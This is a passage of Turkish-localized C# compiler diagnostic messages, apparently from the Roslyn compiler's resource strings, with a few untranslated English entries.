GetDeclarationName çağrıldı. + Bu hata, basit bir dizi alan aşırı yüklü bir yönteminiz varsa ve yöntem imzaları arasındaki tek fark dizinin öğe türü ise oluşur. Bu hatadan kaçınmak için, basit dizi yerine dikdörtgen dizi kullanmayı deneyin; işlev çağrısını netleştirmek için ek bir parametre kullanın; aşırı yüklü yöntemlerden birini veya birden fazlasını yeniden adlandırın ya da CLS Uyumluluğu gerekmiyorsa, CLSCompliantAttribute özniteliğini kaldırın. + Switch ifadesi, kendi giriş türünün tüm olası değerlerini işlemiyor (kapsamlı değildir). Örneğin, '{0}' deseni kapsanmıyor. Ancak, 'when' yan tümcesinin bulunduğu bir desen, bu değerle başarıyla eşleşebilir. + '{0}' metodunun imzasındaki demet öğesi adları '{1}' arabirim metodunun demet öğesi adlarıyla eşleşmelidir (dönüş türü de dahil). + 'this' nesnesi, tüm alanları atanmadan önce okunur ve bu da açıkça atanmamış alanlara yönelik 'default' öğesinin önceki örtük atamaları ile sonuçlanır. + Bu, geçerli yöntemin kapsamına giren '{0}' parametresinin bir üyesini referans alarak döndürür + '{1}' öğesindeki yinelenen '{0}' özniteliği + zaman uyumsuz işlev + Geçersiz hata ayıklama bilgisi biçimi: {0} + Bir goto, aynı blok içinde yer alan using bildiriminden önceki bir konuma atlayamaz. + '{0}' ve '{1}' erişimcilerinin ikisi de yalnızca init olmalıdır ya da ikisi de olmamalıdır + Zaman uyumsuz yöntemler, işaretçi tür parametreleri içeremez + 'else' bir deyim başlatamaz. + Üye eski üyeyi geçersiz kılar + Salt okunur bir değişken olduğu için {0} '{1}' ye atanamaz veya bir başvuru atamasının sağ tarafı olarak kullanılamaz + Bir desene yönelik 'var' söz diziminin bir türe başvurmasına izin verilmez, ancak burada '{0}' kapsam dahilinde. + Zaman uyumsuz metotlar başvuruya göre yerel değerlere sahip olamaz + Argument {0} should be passed with the 'in' keyword + notnull genel tür kısıtlaması + Yalnızca otomatik uygulanan özelliklerin başlatıcıları olabilir. + Alan başlatıcılarına sahip bir 'struct' açıkça bildirilen bir oluşturucu içermelidir. + Aynı kısa dosya adı ile uzun bir dosya adı zaten varken '{0}' kısa dosya adı oluşturulamaz + ++ parametre türü veya -- işleç içeren tür veya tür parametresi ile kısıtlanmış olmalıdır. + '{0}' dosya yerel türü, üst düzey bir türde tanımlanmalıdır; '{0}', iç içe geçmiş bir türdür. + '{0}' özniteliği olay erişimcilerinde geçerli değil. Bu öznitelik yalnızca '{1}' bildirimlerinde geçerlidir. + #warning: '{0}' + Statik üye '{0}' olarak işaretlenmez + 'readonly' değiştiricileri '{0}' özelliğinin veya dizin oluşturucusunun her ikisiyle birlikte erişimcilerinde de değiştirilemez. Bunlardan birini kaldırın. + Alan açıkça atanmadan önce okunur ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + Sağlanan satır ve karakter numarası, engellenebilir bir yönteme değil, '{0}' belirtecine başvuruyor. + Atamanın sol tarafındaki değişken, özellik veya dizin oluşturucu olmalıdır + Hedef çalışma zamanı satır içi dizi türlerini desteklemiyor. + Geçersiz kılma olarak işaretlenmiş bir '{0}' üyesi yeni veya sanal olarak işaretlenemiyor + Kısmi metot bildirimlerinin ikisi de ('{0}' ve '{1}') aynı demet öğesi adını kullanmalıdır. + '{0}' parametresinin '{1}' türündeki başvuru türlerinin null atanabilirliği örtük olarak uygulanan '{2}' üyesiyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + Yapı öğeleri 'this' veya diğer örnek üyelerini başvuru ile döndüremez + '{0}': tüm kod yolları bir değer döndürmez + '{0}' sonucu, '{1}' parametresi tarafından başvurulan değişkenleri kendi bildirim kapsamı dışında kullanıma sunabileceğinden bu bağlamda kullanılamaz + Switch ifadesi kendi giriş türünün tüm olası değerlerini işlemiyor (tam kapsamlı değil). Örneğin, '{0}' deseni kapsanmıyor. + '{1}' öğesinin iç içe yerleştirilmiş bir türü olduğundan '{0}' türü iletilemiyor + Tek satırlık açıklama veya satır sonu bekleniyor + Kısıtlama dinamik tür olamaz + Out parametresi '{0}' denetim geçerli yöntemi terk etmeden önce atanmalıdır + Bir ön işleme sembolünün adı geçersiz; geçerli bir tanımlayıcı değil + l' soneki '1' sayısıyla kolaylıkla karıştırılır; kolay anlaşılması için 'L' kullanın + 'Açık arabirim bildirimindeki '{0}' bir arabirim değil + dizi erişimi + `with` ifadesinin alıcısında void olmayan bir tür olmalıdır. + '{0}': dil tarafından desteklenmediği için '{1}' öğesi geçersiz kılınamıyor + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + '{0}' yalnızca init özelliği veya dizin oluşturucusu, yalnızca bir nesne başlatıcısında veya bir örnek oluşturucusundaki ya da 'init' erişimcisindeki 'this' veya 'base' üzerinde atanabilir. + '{0}' &metot grubu, '{1}' temsilci türüne dönüştürülemiyor. + '{0}' parametre değiştiricisi, '{1}' ile kullanılamaz + 'System.Runtime.CompilerServices.ITuple' aracılığıyla desen eşleştirme gerçekleştirilirken öğe adlarına izin verilmez. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + '{1}' başvuru değeri, '{0}' olarak atanamaz çünkü '{1}' değeri '{0}' değerinden daha geniş bir değer kaçış kapsamına sahip olduğundan '{1}' değerinden daha dar kaçış kapsamlarına sahip '{0}' değeri üzerinden atamaya izin verir. + '{0}' türünün temel arabirimden yeniden soyutlanmış bir üyesi olduğundan bu tür eklenemiyor. 'Embed Interop Types' özelliğini false olarak ayarlamayı deneyin. + Çağrılamaz üye '{0}' yöntem gibi kullanılamaz. + Bir ref veya out değeri, atanabilir bir değişken olmalıdır + Minimum tür özelliği sağlamak için SyntaxTreeSemanticModel verilmelidir. + CallerArgumentExpressionAttribute öğesinin etkisi olmaz; CallerMemberNameAttribute tarafından geçersiz kılındı + Oluşturucu başlatılamadı. + '{0}' türü henüz eklenmemiş bir modülde tanımlandı. '{1}' modülünü eklemelisiniz. + ':' ilişkilendirmeyi sonlandırdığından koşullu ifade bir dize ilişkilendirmesi içinde doğrudan kullanılamaz. Koşullu ifadeyi parantez içine alın. + '{0}' öğesindeki '{1}' ad alanı '{2}' öğesindeki '{3}' türü ile çakışıyor + '{0}': bir statik oluşturucusu parametresiz olmalıdır + Bir out parametresinin In özniteliği olamaz + 'in' değiştiricisine sahip bağımsız değişkenler dinamik olarak dağıtılan ifadelerde kullanılamaz. + yöntem grubu + Zaman uyumsuz '{0}' yineleyicisinde 'CancellationToken' türünde bir veya daha fazla parametre var ancak bunların hiçbiri 'EnumeratorCancellation' özniteliği ile dekore edilmemiş, bu nedenle oluşturulan 'IAsyncEnumerable<>.GetAsyncEnumerator' öğesindeki iptal belirteci parametresi tüketilmeyecek + MemberNotNull özniteliği + Alan hiçbir zaman atanmaz ve her zaman varsayılan değerine sahip olur + '{0}' yönteminin, ilk parametrede yer almayan bir 'this' parametre değiştiricisi var + ASCII olmayan tırnak işaretleri dize değişmezleri çevresinde kullanılamayabilir. + Bir 'base' başvurusu için temel sınıf gerekir + Beklenmeyen önişlemci yönergesi + Olası bir null değeri kutudan çıkarma. + '{2}' türü, '{0}' genel türü veya metodu için '{1}' tür parametresi olarak kullanılamıyor. '{2}' tür bağımsız değişkeninin boş değer atanabilirliği, 'notnull' kısıtlamasıyla eşleşmiyor. + Bu derleme dışından görülemediğinden, CLS uyumluluk denetimi '{0}' üzerinde gerçekleştirilemez + Daha önce genel kullanım olarak görünen '{0}' için kullanım yönergesi + '{0}': '{1}' bir özellik olmadığından geçersiz kılınamıyor + C# {2} dilinde '{0}' türündeki bir ifade, '{1}' türündeki bir desen tarafından işlenemez. Lütfen {3} veya üzeri dil sürümünü kullanın. + '{0}' değişkeni atanır ancak değeri hiçbir zaman kullanılmaz + '{0}' işleci, başvuru türü olduğu bilinmeyen bir tür parametresi olduğundan 'default' öğesine ve '{1}' türünde işlenene uygulanamıyor + Boş değer atanabilir başvuru türleri için ek açıklama kodda yalnızca bir '#nullable' ek açıklama bağlamı içinde kullanılmalıdır. + '{0}' demet öğesi adına yalnızca {1} konumunda izin verilir. + Birden çok koruma değiştiricisi + XML yorumu sözdizimsel olarak yanlış '{0}' cref özniteliğine sahip + Çözümleyici bütünleştirilmiş kodu, derleyicinin şu anda çalışandan daha yeni bir sürümüne başvurur. + '{0}' dil tarafından desteklenmiyor + XML açıklamasının bir paramref etiketi var, ancak bu adla hiçbir parametre yok + await' işleci yalnızca zaman uyumsuz bir yöntemle kullanılabilir. Bu yöntemi 'async' değiştiricisi ile işaretlemeyi ve dönüş türünü 'Task' olarak değiştirmeyi düşünün. + Bir örnek üye içinde ref, out veya in '{0}' birincil oluşturucu parametresi kullanılamaz + '{0}' güncelleştirilemiyor; '{1}' özniteliği eksik. + işaretsiz sağ kaydırma + Üst düzey deyimleri olan bir derleme birimi varsa /main belirtilemez. + Salt okunur bir türün birincil oluşturucu parametresi, bir ref veya out değeri olarak kullanılamaz (türün yalnızca init ayarlayıcısı veya bir değişken başlatıcısı dışında) + CallerArgumentExpressionAttribute öğesinin etkisi olmaz; CallerFilePathAttribute tarafından geçersiz kılındı + '{0}': yeni korunan üye mühürlü türde bildirildi + Denetim bir olay etiketinden ('{0}') diğerine düşemez + {0} temsilci türünde olmadığından '{1}' türüne dönüştürülemiyor + Deyim gövdesi olan lambda ifadesi ifade ağacına dönüştürülemez + '{0}' metodu, '{1}' tür parametresi için bir 'default' kısıtlaması belirtiyor, ancak geçersiz kılınan veya açıkça uygulanan '{3}' metodunun karşılık gelen '{2}' tür parametresi bir başvuru türü veya değer türüyle kısıtlanmış. + Parametrenin 'kapsamlı' değiştiricisi, geçersiz kılınan veya uygulanan üyeyle eşleşmiyor. + Ayrıştırmada karışık bildirimler ve ifadeler + Microsoft (R) Visual C# Derleyicisi + Satır, ham dize sabit değerinin kapanış satırından farklı boşluk içeriyor: '{0}' şuna karşı: '{1}' + '{0}' türü başvuru dönüştürmesi, paketleme dönüştürmesi, paketi açma dönüştürmesi, sarmalama dönüştürmesi veya null türü dönüştürmesi yoluyla '{1}' türüne dönüştürülemiyor + '{0}' yalnızca değerlendirme amaçlıdır ve gelecekteki güncelleştirmelerde değiştirilebilir veya kaldırılabilir. + Bir işaretçi için yalnızca tek bir değere göre dizin oluşturulmalıdır + '{0}' CollectionBuilderAttribute içeriyor ancak öğe türü yok. + Bu bağlamda bir işlev işaretçisi türünün kullanılması desteklenmez. + Geçerli bir uyarı numarası değil + İki kısmi yöntem bildiriminin de saltokunur olması ya da hiçbirinin saltokunur olmaması gerekir + byref yerel değerleri ve dönüşleri + Parametre kendini işaret ettiğinden, '{0}' parametresine uygulanan CallerArgumentExpressionAttribute hiçbir etkiye sahip olmaz. + Dinamik türdeki bağımsız değişken, '{1}' yerel işlevinin '{0}' params parametresine geçirilemez. + Gömülü birlikte çalışma yöntemi '{0}' bir gövde içeriyor. + Koleksiyon başlatıcı öğesi için en iyi aşırı yüklü Ekle yöntemi '{0}' artık kullanılmıyor. + dinamik + İfade edilmeden önce '{0}' yerel değişkeni kullanılamıyor. Yerel değişkenin bildirimi '{1}' alanını gizler. + Demetin == veya != işlecinin diğer tarafında farklı bir ad belirtildiğinden ya da bir ad belirtilmediğinden demet öğesi adı yok sayıldı. + türdeki satır içi dizideki foreach '{0}' desteklenmiyor + Üye çıkış yaparken null olmayan bir değere sahip olmalıdır. + Dizin satır içi dizinin sınırları dışında + Dosyadaki ilk belirteçten sonra önişlemci sembolleri tanımlanamaz/tanımları kaldırılamaz + '{0}' ve '{1}' derleme seçenekleri aynı anda belirtilemez. + üst düzey deyimler + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üye için geçerli olduğundan CallerMemberNameAttribute öğesinin etkisi olmayacak + İşlem denetlenen modda derleme zamanında taşıyor + ad alanı diğer ad niteleyicisi + Bağımsız değişken içermeyen bir throw deyimi bir catch yan tümcesinin dışında kullanılamaz + Desen eşleşmesi için işlenen geçersiz. Değer gerekiyordu ancak '{0}' bulundu. + '{0}' bir başvuru yapısı olduğundan foreach deyimi, async veya iterator metotlarındaki '{0}' türü numaralandırıcılar üzerinde çalışamaz. + Parametre okunmadı. Bu ada sahip özelliği başlatmak için bu parametreyi kullanmayı unutmuş olabilirsiniz. + '{0}' sabit değeri çalışma zamanında '{1}' öğesinin taşmasına neden olabilir (geçersiz kılmak için 'unchecked' söz dizimini kullanın) + '{0}' olayı hiçbir zaman kullanılmaz + XML açıklaması geçerli bir dil öğesine koyulmamış + XML belgeleri dosyasına yazılamadı: {0} + genel türler + '{0}' arabirimi 'CoClassAttribute' ile işaretlenmiş 'ComImportAttribute' ile işaretlenmemiş + Bir '{1}' olduğundan '{0}' alanları ref veya out değeri olarak kullanılamaz + Atanmamış olabilecek otomatik uygulanmış '{0}' özelliğinin kullanımı + '{0}' alanı hiçbir zaman kullanılmaz + Bu etikete başvurulmamış + '{0}' yinelenen adlandırılmış öznitelik bağımsız değişkeni + '{0}' türünün değişkenine başvuru yapılamıyor + await' işleci yalnızca bir yöntem içinde veya lambda ifadesi 'async' değiştiricisi ile işaretlendiğinde kullanılabilir + İfade ağacı demet sabit değeri içeremez. + Karşılaştırma aynı değişkenle yapıldı + İşlev işaretçisi, adlandırılmış bağımsız değişkenler ile çağrılamaz. + Nesne ve koleksiyon başlatıcı ifadeleri temsilci oluşturma ifadesine uygulanamaz + XML yorumunun '{0}' için yinelenen bir typeparam etiketi var + '{0}': türetilmiş türe veya türetilmiş türden kullanıcı tanımlı dönüştürmelere izin verilmiyor + Nesne veya koleksiyon başlatıcısı, null olma olasılığına sahip üyeye örtük olarak başvuruyor. + Tür, arabirim üyesini uygulamıyor. Temel tür tarafından uygulanan arabirimdeki başvuru türlerinin boş değer atanabilirliği eşleşmiyor. + '{0}' geçerli bir biçim belirtici değil + 'await', başvuru koşullu operatörü içeren bir deyim içinde kullanılamaz + '{0}' parametresi okunmadı. Bu ada sahip özelliği başlatmak için bu parametreyi kullanmayı unutmuş olabilirsiniz. + Zaman uyumsuz yineleyici üyesinde 'CancellationToken' türünde bir veya daha fazla parametre var ancak bunların hiçbiri 'EnumeratorCancellation' özniteliği ile dekore edilmemiş, bu nedenle oluşturulan 'IAsyncEnumerable<>.GetAsyncEnumerator' öğesindeki iptal belirteci parametresi tüketilmeyecek + Aynı '{0}' kolay adına sahip derleme zaten alınmış. Başvurulardan birini kaldırmayı (örn. '{1}') veya yan yana etkinleştirmek için imzalamayı deneyin. + Await' işleci bir statik betik değişken başlatıcısında kullanılamaz. + '{1}' yönteminin yalnızca ref ve out bakımından farklı tekrar yüklemeler içermesine neden olduğundan belirtilen tür parametreleriyle '{0}' arabirimi devralınamaz + '{0}' adı, 'equals' işlecinin sol tarafındaki kapsamda değil. 'equals' işlecinin iki tarafındaki ifadeleri yer değiştirmeyi düşünün. + '{0}' türünden '{1}' türüne standart dönüştürme olmadığından CallerFilePathAttribute uygulanamıyor + Yalnızca büyük küçük harfte fark gösteren '{0}' tanımlayıcısı CLS uyumlu değil + Null sabit değer, boş değer atanamayan başvuru türüne dönüştürülemiyor. + Tutarsız erişilebilirlik: '{1}' özellik türü, '{0}' özelliğinden daha az erişilebilir + null geçerli bir parametre adı değil. Örnek metodu alıcısı için erişim almak için parametre adı olarak boş dizeyi kullanın. + '{0}' Win32 kaynak dosyası açılırken hata -- '{1}' + Boş biçim belirticisi. + Dönüş türünün null atanabilirliği geçersiz kılınan üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + İşaret genişletilmiş işlenen üzerinde bit düzeyi OR işleci kullanılıyor + Bu türün bir değeri hiçbir zaman 'null' değerine eşit olmadığından ifadenin sonucu her zaman aynıdır + Saydam tanımlayıcı üyesi erişimi '{1}' öğesinin '{0}' alanı için başarısız oldu. Sorgulanan veriler sorgu kalıbını uyguluyor mu? + delegate genel tür kısıtlamaları + Parametre türündeki başvuru türlerinin null atanabilirliği uygulanan üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + 'INumberBase<T>' öğesinden devraldığı veya genişlediği için '{0}' öğesinde sayısal bir sabit veya ilişkisel desen kullanılamaz. Belirli bir sayısal türe daraltmak için bir tür deseni kullanmayı düşünün. + '{0}' türünden '{1}' türüne standart dönüştürme olmadığından CallerLineNumberAttribute uygulanamıyor + 'extern diğer ad' bu bağlamda geçerli değil + '{0}' temel türü için gerekli üye listesi hatalı biçimlendirilmiş ve yorumlanamıyor. Bu oluşturucuyu kullanmak için 'SetsRequiredMembers' özniteliğini uygulayın. + 'this' nesnesi, tüm alanları atanmadan önce oluşturucuda kullanılamaz. Atanmamış alanları otomatik olarak varsayılan durumuna getirmek için dil sürümünü güncelleştirmeyi düşünün. + Her iki koşul operatörü değeri de başvuru değeri olmalı ya da hiçbiri başvuru değeri olmamalıdır + Bu bağlamda new() kullanımı geçerli değildir + İç içe yerleştirilmiş bir tür olduğundan '{0}' türü gömülemiyor. 'Embed Interop Types' özelliğini false olarak ayarlamayı deneyin. + Derlemedeki CLSCompliant özniteliğinden farklı olan bir modülde CLSCompliant özniteliğini belirtemezsiniz + Dönüş türündeki başvuru türlerinin null atanabilirliği, engellenebilir metot ile eşleşmiyor. + Gerekli '{0}' üyesi nesne başlatıcısında veya öznitelik oluşturucuda ayarlanmış olmalıdır. + Satır içi dizi dizin oluşturucusu öğe erişim ifadesi için kullanılmaz. + {0}. Ayrıca bkz. hata CS{1}. + Geçersiz temel tür + Gerekli '{0}' üyesi, kapsayan '{1}' türünden daha az görünür olamaz veya bundan daha az görünür bir ayarlayıcıya sahip olamaz. + '{0}' tür adı '{1}' türünde yok + Aşağıdaki include etiketiyle eşleşen bir öğe bulunamadı + '{0}' özelliği deneyseldir ve desteklenmez; etkinleştirmek için '/features:{1}' kullanın. + Otomatik uygulanan özellik açıkça atanmadan önce okunur ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + Tür Object.Equals(object o) öğesini geçersiz kılar, ancak Object.GetHashCode() öğesini geçersiz kılmaz + zaman uyumsuz akışlar + goto case' değeri anahtar türüne örtük olarak dönüştürülemez + /doc derleyici seçeneği belirtildi, ancak bir veya daha fazla yapının açıklaması yoktu. + '{0}': sanal, özet veya geçersiz kılma olarak işaretlenmediğinden '{1}' devralınmış üyesi geçersiz kılınamaz + '{0}' parametre adı bir yinelenen + '{0}': erişim değiştiricilerine statik oluşturucularda izin verilmez + 'System.Runtime.CompilerServices.RequiredMemberAttribute' kullanmayın. Bunun yerine gerekli alanlarda ve özelliklerde 'required' anahtar sözcüğünü kullanın. + İlişkisiz genel bir adın beklenmeyen kullanımı + 'in' parametresine karşılık gelen bir bağımsız değişkenin 'ref' değiştiricisi 'in' ile eşdeğerdir. Bunun yerine 'in' kullanmayı düşünün. + '{0}' erişimcisi '{2}' türü için '{1}' arabirim üyesini uygulayamıyor. Açık bir arabirim uygulaması kullanın. + İki kısmi yöntem bildiriminin de genişletme yöntemi olması ya da hiçbirinin genişletme yöntemi olmaması gerekir + Catch veya finally bekleniyor + Bir new ifadesinde türden sonra bir bağımsız değişken listesi veya (), [] ya da {} olması gerekir + Değişken bildirildi ancak hiç kullanılmadı + '{0}' tanınmayan bir RefSafetyRulesAttribute sürümüne sahip bir modülde tanımlandı ve '11' bekleniyor. + Dosya sonu bulundu, '*/' bekleniyordu + {1} derlemesinden '{0}' türünün derlemesine başvurulamıyor. + 'ref readonly' parametresi için varsayılan bir değer belirtildi, ancak 'ref readonly' yalnızca başvurular için kullanılmalıdır. Parametreyi 'in' olarak bildirmeyi düşünün. + '{0}' devralınmış '{1}' üyesini gizliyor. Geçerli üyenin bu uygulamayı geçersiz kılması için override anahtar sözcüğünü ekleyin. Aksi takdirde new anahtar sözcüğünü ekleyin. + '{0}, '{1}' arabirim üyesini uygulamıyor. '{2}' ortak olmadığından bir arabirim üyesi uygulayamaz. + '{0}' dosya yerel türü, '{1}' dosya dışı yerel olmayan türde bir üye imzasında kullanılamaz. + '{0}' arabirimi tür bağımsız değişkeni olarak kullanılamaz. '{1}' statik üyesinin arabirimde en belirgin uygulaması yok. + Beklenen bir {0} SemanticModel. + ref koşullu ifadesi + varsayılan işleç + void' türünde bir değer atanamaz. + varsayılan sabit değer + '{0}, '{1}' arabirim üyesini uygulamıyor. '{2}', '{1}' üyesini uygulayamaz. + '{0}' türündeki bir ifade, '{1}' türündeki bir desenle işlenemez. + 'this' nesnesi, tüm alanları atanmadan önce kullanılamaz. Atanmamış alanları otomatik olarak varsayılan durumuna getirmek için '{0}' dil sürümüne güncelleştirmeyi düşünün. + Çakışan seçenekler belirtildi: Win32 kaynak dosyası; Win32 simgesi + Ortak imzalama belirtildiğinde öznitelik yoksayılır. + '{0}' tür adı, derleyici tarafından kullanılmak üzere ayrılmıştır. + Açık arabirim belirticisindeki başvuru türlerinin boş değer atanabilirliği, tür tarafından uygulanan arabirimle eşleşmiyor. + Uygulama giriş noktaları 'UnmanagedCallersOnly' ile ilişkilendirilemez. + '{0}' adı 'equals' öğesinin sağ tarafındaki kapsamda değil. İfadeleri 'equals' öğesinin iki tarafına değiştirmeyi düşünün. + '{0}': devralınan '{1}' üyesi geçersiz kılınırken demet öğesi adları değiştirilemiyor + Program tarafından kullanılan kullanıcı dizelerinin toplam uzunluğu, izin verilen sınırı aşıyor. Dize sabit değerlerinin kullanımını azaltmayı deneyin. + { bekleniyor + l' son eki '1' basamağı ile kolaylıkla karıştırılır + Bu konumda beklenmeyen karakter. + '{0}' etiketini kapatmak için '>' veya '/>' bekleniyor. + Oluşturulan değer null olabilir. + Tür parametresinin XML açıklamasında eşleşen typeparam etiketi yok (ancak diğer tür parametrelerinin var) + enable uyarı eylemi + global::' bir diğer ada değil her zaman genel ad uzayına başvurduğundan, 'global' adlı bir diğer ad tanımlanması önerilmez + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üyeye uygulandığından '{0}' parametresine uygulanan CallerMemberNameAttribute değerinin hiçbir etkisi olmayacaktır + Öznitelik oluşturucu parametresi '{0}' geçerli bir öznitelik parametresi türü olmayan '{1}' türüne sahiptir + Geçersiz varyans değiştiricisi. Yalnızca arabirim ve temsilci tür parametreleri varyant olarak belirtilebilir. + Parametre bir koşulda çıkış yaparken null olmayan bir değere sahip olmalıdır. + İlişkisel desenler, '{0}' türünde bir değer için kullanılamaz. + Mühürlü bir 'Object.ToString' içeren bir kayıttan devralma işlemi C# {0} sürümünde desteklenmiyor. Lütfen '{1}' veya üstü bir dil sürümünü kullanın. + Yalnızca ref veya out ya da dizi sırasında farklılık gösteren aşırı yüklü yöntem CLS uyumlu değil + '{0}': geçici bir alan '{1}' türüne sahip olamaz + Bir stackalloc ifadesi türden sonra [] gerektirir + Geçersiz anonim türdeki üye bildirimcisi. Anonim tür üyeleri bir üye ataması, basit ad veya üye erişimi ile bildirilmelidir. + Tanımlama grubu 'void' türünde bir değer içeremez. + Bir başvuru parametresinde In özniteliği belirtilmeden Out özniteliği belirtilemez. + '{0}' kaynak dosyası birden çok kez belirtildi + Değer türüne sahip olduğundan, '{1}' türünün '{0}' özelliğinin üyeleri bir nesne başlatıcısı ile atanamaz + collection expressions + '{0}': yapılar temel sınıf oluşturucularını çağıramaz + Tür koleksiyon desenini uygulamaz; üyeler belirsiz + stackalloc bir catch veya finally bloğunda kullanılamaz + Dize hazır bilgisi bekleniyordu, ancak açma tırnağı işareti bulunamadı. + '{0}' hem extern olup hem de gövde bildiremez + <switch expression> + Geçersiz önişlemci ifadesi + this' anahtar sözcüğü bu bağlamda kullanılamaz + lambda dönüş türü + SyntaxTree bir #load yönergesinden kaynaklandığından doğrudan kaldırılamaz veya değiştirilemez. + Tanınmayan #pragma yönergesi + Anonim türde aynı ada sahip birden fazla özellik olamaz + '{1}' tür parametresinde 'unmanaged' kısıtlaması olduğundan '{1}', '{0}' için kısıtlama olarak kullanılamaz + '{0}' adı, meta verilerde izin verilen maksimum uzunluğu aşıyor. + Bir 'using static' yönergesi, diğer ad bildirmek için kullanılamaz + Atama aynı değişkene yapıldı; başka bir öğeyi mi atamak istiyordunuz? + Olay hiç kullanılmadı + Bir engelleyici genel ad alanında bildirilemiyor. + '{0}', '{1}' için uygun bir genel örnek veya uzantı tanımı içermediğinden zaman uyumsuz foreach deyimi '{0}' türündeki değişkenler üzerinde çalışamaz + '{0}' olayı += veya -= işaretlerinin yalnızca sol tarafında görünebilir + Varsayılan parametre değeri hedef temsilci türünde eşleşmiyor. + Include etiketi geçersiz + işlev işaretçileri + '{1}' derlemesindeki '{0}' türü için tür ileticisi bir döngüye neden oluyor + '{0}' türü '{1}' için zaten bir tanım içeriyor + Bir ifade ağacı isteğe bağlı bağımsız değişkenler kullanan bir çağrı içeremez + '{0}' işleci '{1}' türündeki işlenene uygulanamaz + '{0}' meta veri dosyası açılamadı -- {1} + '{0}' türünün null değeri ile karşılaştırma her zaman 'false' üretir + öznitelik hedef belirticisi olarak modül + özyinelemeli desenler + Bu uyarı iki arabirim yöntemi yalnızca özel bir parametrenin ref veya out ile işaretlenip işaretlenmediğine göre ayrıştırıldığında oluşturulabilir. Çalışma zamanında hangi yöntemin çağrıldığını kesin olmadığından veya garanti edilmediğinden, bu uyarıdan kaçınmak için kodunuzu değiştirmeniz en iyi çözümdür. + +C# out ve ref'i ayırsa da, CLR ikisini aynı görür. Hangi yöntemin arabirimi kapsadığına karar verirken, CLR yalnızca birini seçer. + +Derleyiciye yöntemleri ayrıştırma yolu verin. Örneğin, bunlara farklı adlar verebilir veya içlerinden biri için ek parametre sağlayabilirsiniz. + Dosyadaki ilk belirteçten sonra #r kullanılamıyor + '{0}', '{1}' örnek arabirim üyesini uygulamıyor. '{2}' statik olduğundan arabirim üyesini uygulayamaz. + ' {0} ', ' {1} ' arabirim üyesini uygulamıyor. ' {2} ', C# {3} içinde genel olmayan bir üyeyi örtük olarak uygulayamaz. Lütfen '{4}' veya üzeri dil sürümünü kullanın. + Bu, '{0}' referansına göre bir parametre döndürür, ancak bu bir ref parametresi değildir + Başvuruya göre değişken, bir değer ile başlatılamaz + adlandırılmış bağımsız değişken + Dönüş türünde yalnızca '{0}' değiştiricisi olabilir. + '{0}' öntanımlı türü '{1}' öğesinden tanım kullanarak genel diğer addaki birden çok derlemede tanımlandı + İfade ağacı lambdası, başvuru ile döndürülen bir metoda, özelliğe veya dizin oluşturucuya yönelik bir çağrı içeremez + otomatik varsayılan yapı alanları + Kısmi metot 'abstract' değiştiricisine sahip olamaz + '{0}', '{1}' türünün arabirim listesinde farklı başvuru türleri boş değer atanabilirliği ile zaten listelenmiş. + Öznitelik ve öznitelik değeri arasında eşittir işareti eksik. + Çıkarsanan bir temsilci türü değiştiğinden güncelleştirilemiyor. + '{0}' öğelerinden oluşan bir demet '{1}' değişkenlerine ayrıştırılamıyor. + '{0}', devralınan '{1}' soyut üyesini uygulamaz + Birden çok çözümleyici yapılandırma dosyası aynı dizinde ('{0}') olamaz. + 'Satır içi diziler' dil özelliği, 'ref' alanı olan veya tür bağımsız değişkeni olarak geçerli olmayan türe sahip öğe alanına sahip satır içi dizi türleri için desteklenmiyor. + Kapsayan kayıt mühürlü olmadığından '{0}' mühürlenemez. + New() kısıtlamasına sahip olmadığından '{0}' değişken türünün bir örneği oluşturulamıyor + '{0}' öğesinin türü başlatıcısı doğrudan veya dolaylı olarak tanıma başvurduğundan gösterilemiyor. + '{0}': Hedef çalışma zamanı, geçersiz kılmalarda birlikte değişken türleri desteklemiyor. Tür, geçersiz kılınan '{1}' üyesiyle eşleşmek için '{2}' olmalıdır + Yalnızca betiklerde #load için izin verilir + Yalnızca adlandırılmamış dizi türlerinde fark gösteren '{0}' aşırı yüklü yöntemi CLS uyumlu değil + Parametrenin başvuru türü değiştiricisi geçersiz kılınan veya uygulanan üyedeki karşılık gelen parametreyle eşleşmiyor. + Bu başvuru, hedeften daha geniş bir değer kaçış kapsamına sahip bir değer atadığından daha dar kaçış kapsamlarına sahip değerlerin hedefi üzerinden atamaya izin verir. + Alan benzeri '{0}' olayı 'readonly' olamaz. + Öznitelik bağımsız değişkeni bir öznitelik parametresi türünün dizi oluşturma ifadesi, sabit bir ifade veya typeof ifadesi olmalıdır + salt okunur yapılar + <throw ifadesi> + kısmi türler + Belirtilen ifade, sağlanan desenle asla eşleşmez. + {0} başvurusu olması beklendiğinde genel parametre bir tanımdır + An expression tree may not contain a collection expression. + '{0}' parametresi null olmadığından dönüş değeri de null olmamalıdır. + var (...)' söz dizimi, lvalue olarak ayrıldı. + '{0}', '{1}' öğesinden beklenen metodu geçersiz kılmıyor. + Struct üyesi, 'tis' veya diğer örnek üyelerini referans olarak döndürür + Bir yanıt dosyası içinde belirtildiğinden /noconfig seçeneği yoksayılıyor + '{0}', '{1}' statik arabirim üyesini uygulamıyor. '{2}' statik olmadığından arabirim üyesini uygulayamaz. + '{0}': özellik veya dizin oluşturucu void türüne sahip olamaz + '{0}': korumalı olduğundan '{1}' devralınmış üyesi geçersiz kılınamaz + Yineleyicilerin ref, in veya out parametreleri olamaz + '{0}' dizine alınan özelliğinin tüm bağımsız değişkenleri isteğe bağlı olmalıdır + Denetim çağırana döndürülmeden önce '{0}' alanı tam olarak atanmalıdır. Alanı otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + Her iki kısmi yöntem bildirimi aynı dönüş türüne sahip olmalıdır. + Tutarsız lambda parametresi kullanımı; parametre türlerinin tümü explicit veya tümü implicit olmalıdır + Çözümleyici derlemesi yüklenemiyor + Türü örtük olarak belirlenmiş atma türü çıkarsanamıyor. + Arabirim listesindeki '{0}' türü bir arabirim değildir + Engellenebilirlerin ve engelleyicilerin imzaları eşleşmiyor. + Beklenmeyen 'record' anahtar sözcüğü. 'record struct' 